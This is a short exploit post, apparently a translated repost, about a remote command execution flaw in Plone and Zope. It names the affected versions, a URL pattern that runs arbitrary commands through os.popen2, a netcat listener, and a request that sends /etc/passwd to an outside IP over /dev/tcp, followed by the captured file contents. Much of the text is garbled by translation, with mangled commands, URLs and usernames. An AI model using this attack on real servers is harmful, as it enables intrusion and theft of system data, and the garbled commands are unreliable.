Plone zope Remote Command Execution Vulnerability (python)

 

Versions Affected (without hotfix): Plone 4.0 (through 4.0.9); Plone

4.1; Plone 4.2 (a1 and a2); Zope 2.12.x and Zope 2.13.x.

Versions Not Affected: Versions of Plone that use Zope other than Zope

2.12.x and Zope 2.13.x.

 

Advisory/Hotfix: http://plone.org/products/plone/security/advisories/20110928

 

You can execute any command on the remote Plone server with

Following request

If the server is Unix/Linux based (Note: you won't get returned

Results of the command ):

 

Http: // PLONE_SITE/p _/webdav/xmltools/minidom/xml/sax/saxutils/OS/popen2? Cmd = <command

To run>

 

Example:

 

Listen for a connection:

$ Nc-l 4040

 

On victim, visit:

Http://www.bkjia.com/p _/webdav/xmltools/minidom/xml/sax/saxutils/OS/popen2? Cmd = cat % 20/etc/passwd % 20% 20% 3E % 20/dev/tcp/172.20.6.218/4040

 

Response:

$ Nc-l 4040

Root: x: 0: 0: root:/bin/bash

Bin: x: 1: 1: bin:/sbin/nologin

Daemon: x: 2: 2: daemon:/sbin/nologin

Adm: x: 3: 4: adm:/var/adm:/sbin/nologin

Lp: x: 4: 7: lp:/var/spool/lpd:/sbin/nologin

Sync: x: 5: 0: sync:/sbin:/bin/sync

Shutdown: x: 6: 0: shutdown:/sbin/shutdown

Halt: x: 7: 0: halt:/sbin/halt

Mail: x: 8: 12: mail:/var/spool/mail:/sbin/nologin

Uucp: x: 10: 14: uucp:/var/spool/uucp:/sbin/nologin

Operator: x: 11: 0: operator:/root:/sbin/nologin

Games: x: 12: 100: games:/usr/games:/sbin/nologin

Gopher: x: 13: 30: gopher:/var/gopher:/sbin/nologin

Ftp: x: 14: 50: FTP User:/var/ftp:/sbin/nologin

Nobody: x: 99: 99: Nobody: // sbin/nologin

Vcsa: x: 69: 69: virtual console memory owner:/dev:/sbin/nologin

Saslauth: x: 499: 499: "Saslauthd user":/var/empty/saslauth:/sbin/nologin

Postfix: x: 89: 89:/var/spool/postfix:/sbin/nologin

Sshd: x: 74: 74: Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

Ntp: x: 38: 38:/etc/ntp:/sbin/nologin

Tcpdump: x: 72: 72: // sbin/nologin

Apache: x: 48: 48: Apache:/var/www:/sbin/nologin

Mysql: x: 27: 27: MySQL Server:/var/lib/mysql:/bin/bash

Plone: x: 500: 500:/home/plone:/bin/false

 

The security focus looks like this structure is used!

From lcx. cc